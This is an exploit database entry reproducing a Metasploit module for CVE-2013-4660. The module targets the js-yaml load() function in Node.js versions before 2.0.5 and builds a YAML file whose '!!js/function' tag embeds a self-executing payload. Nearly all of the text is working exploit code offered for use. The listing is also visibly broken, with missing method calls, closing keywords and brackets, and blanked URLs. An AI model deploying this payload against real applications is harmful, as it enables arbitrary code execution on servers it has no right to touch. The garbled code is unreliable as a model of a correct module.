Nodejs js-yaml load Code Exec

ID EDB-ID:28655
Type exploitdb
Reporter metasploit
Modified 2013-09-30T00:00:00


Nodejs js-yaml load() Code Exec. CVE-2013-4660. Local exploits for multiple platform

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
      'Name'           => 'Nodejs js-yaml load() Code Exec',
      'Description'    => %q{
        For node.js applications that parse user-supplied YAML input using the
        load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
        function allows us to execute arbitrary javascript code.
      'Author'         => ['joev <jvennix[at]>'],
      'License'        => MSF_LICENSE,
      'References'  =>
          ['CVE', '2013-4660'],
          ['URL', '']
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>  [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))

    register_options(['FILENAME', [ true, 'The file name.', 'msf.yml'])
    ], self.class)

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")